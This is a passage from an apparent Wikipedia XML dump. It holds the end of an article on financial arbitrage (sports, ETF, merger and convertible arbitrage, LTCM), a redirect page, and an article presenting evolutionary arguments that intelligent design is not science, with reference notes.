*Sports arbitrage - numerous [[internet]] [[bookmakers]] offer odds on the outcome of the same event.  Any given bookmaker will weight their odds so that no one [[customer]] can cover all outcomes at a profit against their books.  However, in order to remain competitive their margins are usually quite low.  Different bookmakers may offer different odds on the same outcome of a given event; by taking the best odds offered by each bookmaker, a customer can under some circumstances cover all possible outcomes of the event and assure that they receive a small risk-free profit.

*[[Exchange-traded fund]] arbitrage - Exchange Traded Funds allow authorized participants to exchange back and forth between shares in underlying securities held by the fund and shares in the fund itself, rather than allowing the buying and selling of shares in the ETF directly with the fund sponsor. ETFs trade in the open market, with prices set by market demand. An ETF may trade at a premium or discount to the value of the underlying assets. When a significant enough premium appears, an arbitrageur will buy the underlying securities, convert them to shares in the ETF, and sell them in the open market. When a discount appears, an abitrageur will do the reverse. In this way, the arbitrageur makes a low-risk profit, while fulfilling a useful function in the ETF marketplace by keeping ETF prices in line with their undelying value. 

==Price convergence==
Arbitrage has the effect of causing prices in different markets to converge. As a result of arbitrage, the currency [[exchange rate]]s, the price of [[commodities]], and the price of securities in different markets tend to converge to the same prices, in all markets, in each category. The speed at which prices converge is a measure of market efficiency. Arbitrage tends to reduce [[price discrimination]] by encouraging people to buy an item where the price is low and resell it where the price is high, as long as the buyers are not prohibited from reselling and the transactions cost of buying, holding and reselling are small relative to the difference in prices in the different markets.

Arbitrage moves different currencies toward [[purchasing power parity]]. As an example, assume that a car purchased in [[United States of America|America]] is cheaper than the same car in Canada. Canadians would buy their cars across the border to exploit the arbitrage condition. At the same time, Americans would buy US cars, transport them across the border, and sell them in Canada. Canadians would have to buy American Dollars to buy the cars, and Americans would have to sell the Canadian dollars they received in exchange for the exported cars. Both actions would increase demand for US Dollars, and supply of Canadian Dollars, and as a result, there would be an appreciation of the US Dollar. Eventually, if unchecked, this would make US cars more expensive for all buyers, and Canadian cars cheaper, until there is no longer an incentive to buy cars in the US and sell them in Canada.
More generally, international arbitrage opportunities in [[commodity|commodities]], goods, [[security|securities]] and [[currency|currencies]], on a grand scale, tend to change [[exchange rate]]s until the [[purchasing power]] is equal.

In reality, of course, one must consider taxes and the costs of travelling back and forth between the US and Canada. Also, the features built into the cars sold in the US are not exactly the same as the features built into the cars for sale in Canada, due, among other things, to the different emissions and other auto regulations in the two countries. In addition, our example assumes that no duties have to be paid on importing or exporting cars from the USA to Canada.
Similarly, most [[asset]]s exhibit (small) differences between countries, and [[transaction cost]]s, taxes, and other costs provide an impediment to this kind of arbitrage.

Similarly, arbitrage affects the difference in interest rates paid on government bonds, issued by the various countries, given the expected depreciations in the currencies, relative to each other (see [[Interest Rate Parity]]).

== Risks ==
Arbitrage transactions in modern securities markets involve fairly low risks. Generally it is impossible to close two or three transactions at the same instant; therefore, there is the possibility that when one part of the deal is closed, a quick shift in prices makes it impossible to close the other at a profitable price. There is also counter-party risk, that the other party to one of the deals fails to deliver as agreed; though unlikely, this hazard is serious because of the large quantities one must trade in order to make a profit on small price differences. These risks become magnified when [[Leverage (finance)|leverage]] or borrowed money is used. 

Another risk occurs if the items being bought and sold are not identical and the arbitrage is conducted under the assumption that the prices of the items are correlated or predictable. In the extreme case this is risk arbitrage, described below. In comparison to the classical quick arbitrage transaction, such an operation can produce disastrous losses.

In the [[1980s]], [[risk arbitrage]] became common. In this form of [[speculation]], one trades a security that is clearly undervalued or overvalued, when it is seen that the wrong valuation is about to be corrected by events. The standard example is the stock of a company, undervalued in the stock market, which is about to be the object of a takeover bid; the price of the takeover will more truly reflect the value of the company, giving a large profit to those who bought at the current price&amp;mdash;if the merger goes through as predicted. Traditionally, arbitrage transactions in the securities markets involve high speed and low risk. At some moment a price difference exists, and the problem is to execute two or three balancing transactions while the difference persists (that is, before the other arbitrageurs act). When the transaction involves a delay of weeks or months, as above, it may entail considerable risk if borrowed money is used to magnify the reward through leverage.  One way of reducing the risk is through the illegal use of inside information, and in fact risk arbitrage with regard to [[leveraged buyout]]s was associated with some of the famous financial scandals of the 1980s such as those involving [[Michael Milken]] and [[Ivan Boesky]].

=== Merger arbitrage ===
Also called [[risk arbitrage]], merger arbitrage generally consists of buying the stock of a company that is the target of a [[takeover]] while shorting the stock of the acquiring company.

Usually the market price of the target company is less than the price offered by the acquiring company.
The spread between these two prices depends mainly on the probability and the timing of the takeover being completed.

The bet in a merger arbitrage is that such a spread will eventually be zero, if and when the takeover is completed.

=== Convertible bond arbitrage ===
A [[convertible bond]] is a [[bond (finance)|bond]] that an investor can return to the issuing company in exchange for a predetermined number of shares in the company.

A convertible bond can be thought of as a [[corporate bond]] with a stock [[call option]] attached to it.

The price of a convertible bond is sensitive to three major factors:

*''[[interest rate]]''. When rates move higher, the price of a bond tends to move lower.
*''stock price''. When the price of the stock the bond is convertible into moves higher, the price of the bond tends to rise.
*''[[credit spread]]''. If the creditworthiness of the issuer deteriorates (e.g. [[credit rating agency|rating]] downgrade) and its credit spread widens, the bond price tends to move lower.

Given the complexity of the calculations involved and the convoluted structure that a convertible bond can have, an arbitrageur often relies on sophisticated quantitative models in order to identify bonds that are trading cheap versus their theoretical value.

Convertible arbitrage consists of buying a convertible bond and hedging two of the three factors in order to gain exposure to the third factor at a very attractive price.

For instance an arbitrageur would first buy a convertible bond, then sell [[fixed income]] [[securities]] or [[interest rate future]]s (to hedge the interest rate exposure) and buy some [[credit default swap|credit protection]] (to hedge the risk of credit deterioration).
Eventually what he'd be left with is something similar to a call option on the underlying stock, acquired at a very low price.
He could then make money either selling some of the more expensive options that are openly traded in the market or [[delta hedging]] his exposure to the underlying shares.

=== Depositary receipts ===
A [[depositary receipt]] is a security that is offered as a &quot;tracking stock&quot; on another foreign market. For instance a [[China|Chinese]] company wishing to raise more money may issue a depository receipt on the [[New York Stock Exchange]], as the amount of capital on the local exchanges is limited. These securities, known as ADRs or GDRs depending on where they are issued, are typically considered &quot;foreign&quot; and therefore trade at a lower value when first released. However, they are exchangeable into the original security (known as [[fungible|fungibility]]) and actually have the same value. In this case there is a spread between the perceived value and real value, which can be extracted. Since the ADR is trading at a value lower than what it is worth, one can purchase the ADR and expect to make money as its value converges on the original. However there is a chance that the original stock will fall in value too, so by shorting it you can hedge that risk.

===Regulatory arbitrage===
Regulatory arbitrage is where a regulated institution takes advantage of the difference between its real (or economic) [[risk]] and the regulatory position. For example, if a bank, operating under the [[Basel I]] accord, has to hold 8% capital against [[default risk]], but the real risk of default is lower, it is profitable to [[Securitization|securitise]] the loan, removing the low risk loan from its portfolio. On the other hand, if the real risk is higher than the regulatory risk then it is profitable to make that loan and hold on to it, provided it is priced appropriately.

This process can increase the overall riskiness of institutions under a risk insensitive regulatory regime, as described by [[Alan Greenspan]] in his [[October]] [[1998]] speech on [http://www.ny.frb.org/research/epr/98v04n3/9810gree.pdf The Role of Capital in Optimal Banking Supervision and Regulation].

===Long-Term Capital Management===
{{main|Long-Term Capital Management}}

[[Long-Term Capital Management]] (LTCM) lost U.S. dollars 4.6 billion in [[fixed income arbitrage]] in September [[1998]]. LTCM had attempted to make money on the price difference between different [[bond]]s. For example, it would buy [[Treasury security|U.S. Treasury securities]] and sell Italian bond futures.  The concept was that because Italian bond futures had a less liquid market, in the short term Italian bond futures would have a higher return than U.S. bonds, but in the long term, the prices would converge.  Because the difference was small, a large amount of money had to be borrowed to make the buying and selling profitable.

The downfall in this system began on [[August 17]], [[1998]], when [[Russia]] defaulted on its [[ruble]] debt and domestic dollar debt.  Since the markets were already nervous due to the [[Asian financial crisis]], investors began selling non-U.S. treasury  debt and buying U.S. treasuries, which were considered a safe investment.  As a result the return on U.S. treasuries began decreasing because there were many buyers, and the return on other bonds began to increase because there were many sellers.  This caused the difference between the returns of U.S. treasuries and other bonds to increase, rather than to decrease as LTCM was expecting.  Eventually this caused LTCM to fold, and their creditors had to arrange a bail-out. More controversially, officials of the [[Federal Reserve]] assisted in the negotiations that led to this bail-out, on the grounds that so many companies and deals were intertwined with LTCM that if LTCM went down, they would as well, causing a collapse in confidence in the economic system.

== See also ==
* [[Arbitrage betting]]
* [[Covered interest arbitrage]]
* [[Immunization (finance)]]
* [[Interest Rate Parity]]
* [[Political arbitrage]]
* [[TANSTAAFL]]
* [[Triangle arbitrage]]
* [[Volatility arbitrage]]

== References ==
*Greider, William (1997). ''One World, Ready or Not''. Penguin Press. ISBN 0-713-99211-5.

== External links ==
*[http://economics.about.com/cs/finance/a/arbitrage.htm What is Arbitrage? (About.com)]
*[http://www.disklectures.com/freebies.php  Disk Lectures] MBA level audio lecture with slideshow showing spot-forward arbitrage in the foreign exchange market

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    <title>Anthrosophy</title>
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        <username>Dreamyshade</username>
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      <text xml:space="preserve">#REDIRECT [[Anthroposophy]]</text>
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  <page>
    <title>Argument from evolution</title>
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      <timestamp>2006-03-01T06:09:42Z</timestamp>
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      <comment>/* Conclusion from evolutionary arguments */</comment>
      <text xml:space="preserve">The argument from [[evolution]] is that [[intelligent design]] is not a verifiable scientific theory and is, in fact, [[pseudoscience]]{{ref|openA}}, with evolutionists noting that &quot;IDers&quot; have theological rather than scientific objectives. This argument is based upon the premises that:

# [[Science]], via evolution, provides sound explanations for the [[origin of life|origin]] and [[diversity of life]], and the [[Universe|origin of the Universe]].
# Evolution is commonly accepted by biologists because of extensive testing of its premises and predictions, whereas ID has not been and cannot be tested because of its theistic basis and reliance on a supernatural causer/[[prime mover]].  Thus, ID is neither provable nor falsifiable, two of the key requirements for any truly scientific theory.{{ref|openB}}
# Using the concept of [[Occam's Razor|parsimony]], scientists note that it is far more likely that the universe is a result of naturalistic processes rather than of creation.{{ref|openC}}
# ID lacks consistency except internally, i.e., it is only consistent and logical within the framework in which it operates. ID at its foundation relies upon an unsupported, unjustified assumption: That complexity and improbability must entail design, but the identity and characteristics of the designer is not identified or quantified, nor need they be.{{ref|openD}} 

A common misconception is that evolution is an argument against the existence of God, but evolution does not conflict with a belief in God, in fact, evolution does not deal in any way with the existence or non-existence of a god or gods.{{ref|open1}}  Two examples that illustrate this follow. Many people believe that evolution occurred as scientists theorize, while maintaining a belief in a deity. Evolutionary creationists accept the scientific theories of evolution, but see it as having been guided by a deity.{{ref|open2}}

== Overview ==
The theory of evolution states that due to [[natural selection]] and genetic variation, populations and species undergo genetic change over time.  According to intelligent design, life is too complex to have been a result of evolution, and must have been designed by an intelligent agent, who most supporters believe to be the God of [[Abrahamic religion|Abrahamic religions]].  In other words, intelligent design claims to be a [[scientific theory]],that stands on equal footing with, or is superior to, current scientific theories regarding the [[origin of life]]{{ref|ov_meyer}}, that can be used to explain the origins of life on Earth.  

The validity of the scientific claims regarding ID have been dismissed by an overwhelming majority of scientists{{ref|ov_over}}, as the theory was proposed by people with religious rather than scientific objectives. This opinion was clearly articulated in Judge [[John E. Jones III|John E. Jones III's]] decision in the ''[[Kitzmiller v. Dover Area School District]]'' (2005).{{ref|ov_kitz}}

==Evolutionary Arguments Against Intelligent Design==
===Intelligent Design is Not Science===
The term ‘[[science]]’ refers to the systematic study of the structure and behavior of the physical world, especially by observing, measuring and experimenting. Being that intelligent design relies on [[supernatural]] phenomena, it does not fit under this category. A scientific theory must undergo what is known as the “[[scientific method]]” to be scientifically acceptable. The scientific method is the process by which scientists, collectively and over time, endeavor to construct an accurate representation of the world. It involves a number of important steps. These are, in proper order:

#observation and description
#formulation of a hypothesis 
#experimentation to test the hypothesis 
#acceptance or rejection of the hypothesis {{ref|idnot_SM1}}

Rather than following these steps, intelligent design has instead reversed them. Supporters of intelligent design began with a conclusion and are currently working to prove it. This presents a number of problems:  

* Beginning with a conclusion has a tendency to skew data and results in an effort to support the conclusion;
* Were students to be taught ID in school, their understanding of the necessity of using the scientific method might be compromised;
* Performing &quot;research&quot; in this manner has led mainstream scientists to refer to the IDers as &quot;[[apologetics|apologists]],&quot; thus the relegation of ID to a [[pseudoscience|pseudoscientific]] non-theory.{{ref|idnot_SM2}}{{ref|idnot_SM3}}

===The Definition of &quot;Theory&quot; and &quot;Evolution&quot;===

Intelligent design proponents, argue that evolution should not be the only &quot;theory&quot; taught in public schools. They propose an argument based on semantics, claiming that evolution is “only a theory,” and it should not be favored over other theories.  In addition, the [[Wedge strategy]] of the [[Discovery Institute]], has begun calling evolution a &quot;theory in crisis&quot; as part of its [[Teach the controversy]] campaign.{{ref|theory_wedge1}}

While it is correct to say that evolution is a theory and not indisputable fact (no ''scientific'' theory makes any claim to be fact), scientists take exception to DI's assertion that it is a theory in crisis, noting that with additional fossil finds, and [[DNA]] and [[Genome|genome-mapping]], evolution is far better supported today than it was even twenty years ago.

The second problem is that of the common definition of &quot;theory&quot;, rather than the scientific, is often used to imply that evolution is just an idea.  While &quot;theory&quot; in this sense refers to abstract reasoning and conjecture, the scientific definition of is much more rigorous. 

According to the scientific definition, a scientific theory must be repeatedly tested through the scientific method and accepted by the scientific community.{{ref|theory_def}} While evolution has passed repeated testing thus rendering it a true scientific theory, intelligent design has not. In fact it has not, and ''cannot'', be scientifically tested as its central argument, that life forms on Earth were created by an unknown intelligent agent, introduces supernatural phenomena that can be neither proven nor disproven.{{ref|theory_behe}}

However, the problem lies not just with the definition of theory, but also with that of evolution, which, like so many other words has more than one meaning. Its strict biological definition is &quot;a change in [[allele]] frequencies over time.&quot; By that definition, evolution is an indisputable fact. Most people seem to associate the word &quot;evolution&quot; mainly with [[Common descent|common descent]], the theory that all life arose from one common ancestor. Many people believe that there is enough evidence to call this a fact, too. However, common descent is still not the theory of evolution, but just a fraction of it (and a part of several quite different theories as well). The theory of evolution not only says that life evolved, it also includes mechanisms, like mutations, natural selection, and genetic drift, which go a long way towards explaining how life evolved.{{ref|theory_def2}}

==Common ID Arguments Disproved==
The following are some common arguments against evolution and why they are wrong

===Evolution has never been observed===

Biologists observe evolution occurring all the time, as they define evolution as a change in the gene pool of a population over time. One example is insects developing a resistance to pesticides over the period of a few years. Even most Creationists recognize that evolution at this level is a fact. What they don't appreciate is that this rate of evolution is all that is required to produce the diversity of all living things from a common ancestor.{{ref|no_1}}

Another example is the evolution of [[Salamander|Ensatina Salamanders]] in the Western United States.  One ancestral species in [[Oregon]] spread southward and populated the [[San Joaquin Valley]].  Once the salamanders had spread south and converged into one area, two non-interbreeding species had emerged.  In other words, adaptations to a changing environment as they spread south resulted in enough variation to prevent interbreeding and therefore creating, by definition, two separate [[species]].{{ref|no_2}}

Even without these direct observations, it would be wrong to say that evolution has not been observed. Evidence isn't limited to seeing something happen before your eyes. Evolution makes predictions about what we would expect to see in the fossil record, comparative anatomy, genetic sequences, geographical distribution of species, etc., and these predictions have been verified many times over. The number of observations supporting evolution is overwhelming. 

What has not been observed is one animal abruptly changing into a radically different one, such as a frog changing into a cow. This is not a problem for evolution because evolution doesn't propose occurrences even remotely like that. In fact, if we ever observed a frog turn into a cow, it would be very strong evidence against evolution.{{ref|no_3}}

Evolution has been observed at a microscopic level as many bacteria species have become immune to certain antibiotics that have worked on them in the past. At the same time bacteria of the same species with no immunity are killed by the antibiotics but the immune ones remain to reproduce. This is an example of both evolution and natural selection.

===Evolution violates the Second Law of Thermodynamics===

This statement of an alleged violation shows more a misconception about [[thermodynamics]] than about evolution. The second law of thermodynamics says, &quot;No process is possible in which the sole result is the transfer of energy from a cooler to a hotter body.&quot;{{ref|2LOTA}}  In and of itself, this statement does not appear to have aught to do with evolution. However, the confusion arises when the second law is phrased in another equivalent way, &quot;The entropy of a closed system cannot decrease.&quot; Entropy is an indication of unusable energy and often corresponds to intuitive notions of disorder or randomness. Creationists thus misinterpret the 2nd law to say that things invariably progress from order to disorder. 

However, they neglect the fact that life is not a closed system. The sun provides more than enough energy to drive things. If a mature tomato plant can have more usable energy than the seed it grew from, why should anyone expect that the next generation of tomatoes can't have more usable energy still? Creationists sometimes try to get around this by claiming that the information carried by living things lets them create order. However, not only is life irrelevant to the second law, but order from disorder is common in nonliving systems, too. 

Snowflakes, sand dunes, tornadoes, stalactites, graded river beds, and lightning are just a few examples of order coming from disorder in nature; none require an intelligent program to achieve that order. In any nontrivial system with lots of energy flowing through it, you are almost certain to find order arising somewhere in the system. If order from disorder is supposed to violate the 2nd law of thermodynamics, why is it ubiquitous in nature? 

The thermodynamics argument against evolution displays a misconception about evolution as well as about thermodynamics, since a clear understanding of how evolution works should reveal major flaws in the argument. Evolution says that organisms reproduce with only small changes between generations (after their own kind, so to speak). For example, animals might have appendages which are longer or shorter, thicker or flatter, lighter or darker than their parents. Occasionally, a change might be on the order of having four or six fingers instead of five. Once the differences appear, the theory of evolution calls for differential reproductive success. For example, maybe the animals with longer appendages survive to have more offspring than short-appendaged ones. All of these processes can be observed today. They obviously don't violate any physical laws.{{ref|2LOT}}

===There are no transitional fossils===

A [[Transitional fossil|transitional fossil]] is one that looks like it is from an organism intermediate between two lineages, meaning it has some characteristics of lineage A, some characteristics of lineage B, and probably some characteristics part way between the two. Transitional fossils can occur between groups of any [[Taxonomy|taxonomic level]], such as between species, between [[Order (biology)|orders]], etc. Ideally, the transitional fossil should be found stratigraphically between the first occurrence of the ancestral lineage and the first occurrence of the descendant lineage, but evolution also predicts the occurrence of some fossils with transitional morphology that occur after both lineages. There's nothing in the theory of evolution which says an intermediate form (or any organism, for that matter) can have only one line of descendants, or that the intermediate form itself has to go extinct when a line of descendants evolves. 

To say there are no transitional fossils is simply false. [[Paleontology]] has progressed a bit since [[Origin of Species|''The Origin of Species'']] was published, uncovering thousands of transitional fossils, by both the temporally restrictive and the less restrictive definitions. The fossil record is still spotty and always will be; erosion and the rarity of conditions favorable to fossilization make that inevitable. Also, transitions may occur in a small population, in a small area, and/or in a relatively short amount of time; when any of these conditions hold, the chances of finding the transitional fossils goes down. Still, there are still many instances where excellent sequences of transitional fossils exist. Some notable examples are the transitions from reptile to mammal, from land animal to early whale, and from early ape to human. 

The misconception about the lack of transitional fossils is perpetuated in part by a common way of thinking about categories. When people think about a category like &quot;dog&quot; or &quot;ant,&quot; they often subconsciously believe that there is a well-defined boundary around the category, or that there is some eternal ideal form (for philosophers, the [[Platonic realism|Platonic idea]]) which defines the category. This kind of thinking leads people to declare that Archaeopteryx is &quot;100% bird,&quot; when it is clearly a mix of bird and reptile features (with more reptile than bird features, in fact). In truth, categories are man-made and artificial. Nature is not constrained to follow them, and it doesn't. 

Some Creationists claim that the hypothesis of [[Punctuated equilibrium|punctuated equilibrium]] was proposed by [[Niles Eldredge]] and [[Stephen Jay Gould]] to explain gaps in the fossil record.{{ref|tf2}} Actually, it was proposed to explain the relative rarity of transitional forms, not their total absence, and to explain why speciation appears to happen relatively quickly in some cases, gradually in others, and not at all during some periods for some species. In no way does it deny that transitional sequences exist.{{ref|tf1}} In fact, both Gould and Eldredge are outspoken opponents of Creationism, with Gould having stated, &quot;But paleontologists have discovered several superb examples of intermediary forms and sequences, more than enough to convince any fair-minded skeptic about the reality of life's physical genealogy.&quot;{{ref|tf3}}

===Random chance===

&quot;The theory of evolution says that life originated, and evolution proceeds, by random chance.&quot; 

There is probably no other statement which is a better indication that the arguer does not comprehend evolution. [[Chance]] certainly plays a large part in evolution, but this argument completely ignores the fundamental role of [[natural selection]], and selection is the very opposite of chance. Chance, in the form of mutations, provides genetic variation, which is the raw material that natural selection has to work with. From there, natural selection sorts out certain variations. Those variations which give greater reproductive success to their possessors (and chance ensures that such beneficial mutations will be inevitable) are retained, and less successful variations are weeded out. When the environment changes, or when organisms move to a different environment, different variations are selected, leading eventually to different species. Harmful mutations usually die out quickly, so they don't interfere with the process of beneficial mutations accumulating. 

Nor is [[abiogenesis]] (the origin of the first life) due purely to chance. Atoms and molecules arrange themselves not purely randomly, but according to their chemical properties. In the case of [[carbon]] atoms especially, this means complex molecules are sure to form spontaneously, and these [[Molecule|complex molecules]] can influence each other to create even more complex molecules. Once a molecule forms that is approximately self-replicating, natural selection will guide the formation of ever more efficient replicators. The first self-replicating object didn't need to be as complex as a modern cell or even a strand of DNA. Some self-replicating molecules are not really all that complex (as organic molecules go). 

Some people still argue that it is wildly improbable for a given self-replicating molecule to form at a given point (although they usually don't state the &quot;givens,&quot; but leave them implicit in their calculations). This is true, but there were oceans of molecules working on the problem, and no one knows how many possible self-replicating molecules could have served as the first one. A calculation of the odds of abiogenesis is worthless unless it recognizes the immense range of starting materials that the first replicator might have formed from, the probably innumerable different forms that the first replicator might have taken, and the fact that much of the construction of the replicating molecule would have been non-random to start with. 

Finally, one should also note that the theory of evolution doesn't depend on how the first life began. The truth or falsity of any theory of abiogenesis wouldn't affect evolution in the least.{{ref|chance}}

===Many scientists view Intelligent Design as a viable scientific theory===

While the above argument has been offered as a means to establish intelligent design as science, it is clearly untrue.

An overwhelming majority{{ref|overwhelming}} of the scientific community views intelligent design not as a valid scientific theory but as pseudoscience or [[junk science]]{{ref|junk}}. The U.S. National Academy of Sciences has stated that intelligent design &quot;and other claims of supernatural intervention in the origin of life&quot; are not science because they cannot be tested by experiment, do not generate any predictions and propose no new hypotheses of their own.{{ref|NAS}}

In fact the [[American Association for the Advancement of Science]] (AAAS) stated the following in its ''Resolution on Intelligent Design Theory'':

''Recognizing that the &quot;intelligent design theory&quot; represents a challenge to the quality of science education, the Board of Directors of the AAAS unanimously adopts the following resolution:''

''Whereas, ID proponents claim that contemporary evolutionary theory is incapable of explaining the origin of the diversity of living organisms;

''Whereas, to date, the ID movement has failed to offer credible scientific evidence to support their claim that ID undermines the current scientifically accepted theory of evolution;''

''Whereas, the ID movement has not proposed a scientific means of testing its claims;''

''Therefore Be It Resolved, that the lack of scientific warrant for so-called &quot;intelligent design theory&quot; makes it improper to include as a part of science education;''

''Therefore Be Further It Resolved, that AAAS urges citizens across the nation to oppose the establishment of policies that would permit the teaching of &quot;intelligent design theory&quot; as a part of the science curricula of the public schools;''

''Therefore Be It Further Resolved, that AAAS calls upon its members to assist those engaged in overseeing science education policy to understand the nature of science, the content of contemporary evolutionary theory and the inappropriateness of &quot;intelligent design theory&quot; as subject matter for science education;''

''Therefore Be Further It Resolved, that AAAS encourages its affiliated societies to endorse this resolution and to communicate their support to appropriate parties at the federal, state and local levels of the government.''{{ref|AAAS}}

Additionally, a coalition representing more than 70,000 Australian scientists and science teachers called on all schools not to teach Intelligent Design (ID) as science, because it fails to qualify on every count as a scientific theory.  In fact, the opening sentence of their resolution was, &quot;Intelligent design is not science&quot;.{{ref|aust}}

Finally, a parody by the National Center for Science Education (NCSE) of creationist lists of scientists who &quot;doubt evolution&quot;, [[Project Steve]], was created and named in honor of the paleontologist Stephen Jay Gould. The NCSE's list only contains scientists named Stephen or variations thereof (Stephanie, Stefan, Esteban, etc.), thus representing about 1% of the total population. Despite this restriction, it is longer and contains more eminent scientists than any creationist list, including [[Stephen Hawking]] as well as both [[Nobel Prize]] winning Steves in science, [[Steven Chu]] and [[Steven Weinberg]]. There are 696 Steves as of 30 January 2006, while the [[Discovery Institute|DI]] poll has 481 signatures.

==Conclusion from evolutionary arguments==

The pimary difficulty with intelligent design is that its goals are to oppose evolution by taking the guise of offering a new scientific theory, and to clearly replace what IDists refer to as &quot;materialism&quot; with theology.{{ref|conc1}}  

However, ID and evolution are not truly comparable as they exist as two distinct views on the explanation of nature.  Evolution deals with science, and ID with supernaturalism.  They are not compatible, and are, in fact, polar opposites, thus ID's attempt to supplant evolution is not likely to deceive an average &quot;objective&quot; observer.{{ref|kitz2}}

==Notes==

# {{note|openA}} [http://www.newyorker.com/fact/content/articles/050530fa_fact Devolution&amp;mdash;Why intelligent design isn't.] H. Allen Orr. Annals of Science. New Yorker May 2005. Also, [[Robert T. Pennock]] ''Tower of Babel: The Evidence Against the New Creationism'' ISBN 026216180X, ISBN 0262661659. 
# {{note|openB}} &quot;ID's rejection of naturalism in any form logically entails its appeal to the only alternative, supernaturalism, as a putatively scientific explanation for natural phenomena. This makes ID a religious belief. In addition, my research reveals that ID is not science, but the newest variant of traditional American creationism. With only a few exceptions, it continues the usual complaints of creationists against the theory of evolution and comprises virtually all the elements of traditional creationism.&quot; [[Barbara Forrest]] April 2005 Expert Witness Report. ''[[Kitzmiller v. Dover Area School District]]''. [http://www2.ncseweb.org/kvd/experts/FORREST_EXPERT_REPORT.pdf]
# {{note|openC}} [http://www.talkorigins.org/faqs/cosmo.html ''Evolution is Not the Whole Story'']
# {{note|openC}} [[Intelligent design#endnote id consistency|consistency]]
# {{note|open1}} [http://talkorigins.org/faqs/faq-god.html see question 2]
# {{note|open2}} [http://talkorigins.org/faqs/faq-god.html see ''Evolution and God'']
# {{note|ov_myer}} Stephen C. Meyer, 2005. ''The Scientific Status of Intelligent Design: The Methodological Equivalence of Naturalistic and Non-Naturalistic Origins Theories''. Ignatius Press. [http://www.discovery.org/scripts/viewDB/index.php?command=view&amp;id=1780].  See also [[Darwin's Black Box]].
# {{note|ov_over}} See [[Wikisource:Kitzmiller v. Dover Area School District 4: whether ID is science#Page 83 of 139|Kitzmiller v. Dover page 83]]. A [http://www.msnbc.msn.com/id/6884904/site/newsweek Newsweek article] reported The Discovery Institute's petition being signed by about 350 scientists. The AAAS, the largest association of scientists in the U.S., has 120,000 members, and [http://www.aaas.org/news/releases/2002/1106id2.shtml firmly rejects ID].  More than 70,000 Australian scientists and educators [http://www.science.unsw.edu.au/news/2005/intelligent.html condemn teaching of intelligent design in school science classes]. [http://www.ncseweb.org/resources/articles/8408_statements_from_scientific_and_12_19_2002.asp List of statements from scientific professional organizations] on the status intelligent design and other forms of creationism.
# {{note|ov_kitz}} [http://en.wikisource.org/wiki/Kitzmiller_v._Dover_Area_School_District_et._al. Kitzmiller_v._Dover_Area_School_District_et._al.]
# {{note|idnot_SM1}} [http://biology.clc.uc.edu/courses/bio104/sci_meth.htm uc.edu]
# {{ref|idnot_SM2}} [http://www.talkreason.org/articles/Blogging.cfm ''Blogging the Dover Trial'']
# {{ref|idnot_SM3}} [http://www.freeinquiry.com/intro-to-sci.html ''Scientific Thinking and the Scientific Method'']
# {{note|theory_wedge1}} [[Wedge strategy#Analysis of the wedge strategy|analysis of Wedge Strategy]]
# {{note|theory_def}} [http://dictionary.reference.com/search?q=theory Definition of theory]
# {{note|theory_behe}} Claudia Wallis. Evolution Wars. Time Magazine, [[15 August]] [[2005]] edition, page 32 [http://www.time.com/time/archive/preview/0,10987,1090909,00.html Behe admits premise]
# {{note|theory_def2}} [http://www.talkorigins.org/faqs/faq-misconceptions.html Definition of evolution]
# {{note|no_1}} [http://www.talkorigins.org/faqs/faq-misconceptions.html Misconceptions]
# {{note|no_2}} [http://www.pbs.org/cgi-registry/2wgbh/evolution/library/search.cgi PBS]
# {{note|no_3}} [http://www.talkorigins.org/faqs/faq-misconceptions.html Misconceptions]
# {{note|2LOTA}} Atkins, P. W. 1984. The Second Law. New York: Scientific American Books, pg. 25 -- ISBN 071675004X 
# {{note|2LOT}} [http://www.talkorigins.org/faqs/faq-misconceptions.html Misconceptions 2LOT]
# {{note|tf1}} [http://www.talkorigins.org/faqs/faq-misconceptions.html Misconceptions Transitional fossils]
# {{note|tf2}} [http://www.blackwellpublishing.com/ridley/classictexts/eldredge.asp ''Punctuated equilibria: an alternative to phyletic gradualism'']
# {{note|tf3}} [http://www.talkorigins.org/faqs/faq-misconceptions.html Stephen Jay Gould, Natural History, May 1994]
# {{note|chance}}  [http://www.talkorigins.org/faqs/faq-misconceptions.html Misconceptions - Random chance]]
# {{note|overwhelming}} See [[Wikisource:Kitzmiller v. Dover Area School District 4: whether ID is science#Page 83 of 139|Kitzmiller v. Dover page 83]]. 
# {{note|junk}} [http://www.newyorker.com/fact/content/articles/050530fa_fact Devolution&amp;mdash;Why intelligent design isn't.] H. Allen Orr. Annals of Science. New Yorker May 2005. Also, [[Robert T. Pennock]] ''Tower of Babel: The Evidence Against the New Creationism'' ISBN 026216180X, ISBN 0262661659.
# {{note|NAS}} &quot;[http://www.nap.edu/books/0309064066/html/25.html Creationism, Intelligent Design, and other claims of supernatural intervention in the origin of life or of species are not science]&quot; In ''Science and Creationism: A View from the National Academy of Sciences, Second Edition'' National Academy of Sciences, 1999 
# {{note|AAAS}} [http://www.aaas.org/news/releases/2002/1106id2.shtml Resolution] 
# {{note|aust}} [http://www.science.unsw.edu.au/news/2005/intelligent.html text of resolution]
# {{note|conc1}} &quot;''Our strategy has been to change the subject a bit so that we can get the issue of Intelligent Design, which really means the reality of God, before the academic world and into the schools.''&quot; Johnson 2004. Christianity.ca. [http://www.christianity.ca/news/social-issues/2004/03.001.html Let's Be Intelligent About Darwin].  &quot;''This isn't really, and never has been a debate about science. It's about religion and philosophy.''&quot; Johnson 1996. World Magazine. [http://www.leaderu.com/pjohnson/world2.html Witnesses For The Prosecution].  &quot;''So the question is: &quot;How to win?&quot; That's when I began to develop what you now see full-fledged in the [[Wedge strategy|&quot;wedge&quot; strategy]]: &quot;Stick with the most important thing&quot;—the mechanism and the building up of information. Get the Bible and the Book of Genesis out of the debate because you do not want to raise the so-called Bible-science dichotomy. Phrase the argument in such a way that you can get it heard in the secular academy and in a way that tends to unify the religious dissenters. That means concentrating on, &quot;Do you need a Creator to do the creating, or can nature do it on its own?&quot; and refusing to get sidetracked onto other issues, which people are always trying to do.''&quot; Johnson 2000. Touchstone magazine. [http://www.touchstonemag.com/docs/issues/15.5docs/15-5pg40.html Berkeley's Radical An Interview with Phillip E. Johnson] &quot;''I have built an intellectual movement in the universities and churches that we call The Wedge, which is devoted to scholarship and writing that furthers this program of questioning the materialistic basis of science.&quot;...&quot;Now the way that I see the logic of our movement going is like this. The first thing you understand is that the Darwinian theory isn't true. It's falsified by all of the evidence and the logic is terrible. When you realize that, the next question that occurs to you is, well, where might you get the truth?&quot;...&quot;I start with John 1:1. In the beginning was the word. In the beginning was intelligence, purpose, and wisdom. The Bible had that right. And the materialist scientists are deluding themselves.''&quot; Johnson 1999. Reclaiming America for Christ Conference. [http://www.coralridge.org/specialdocs/evolutiondebate.asp How the Evolution Debate Can Be Won] 
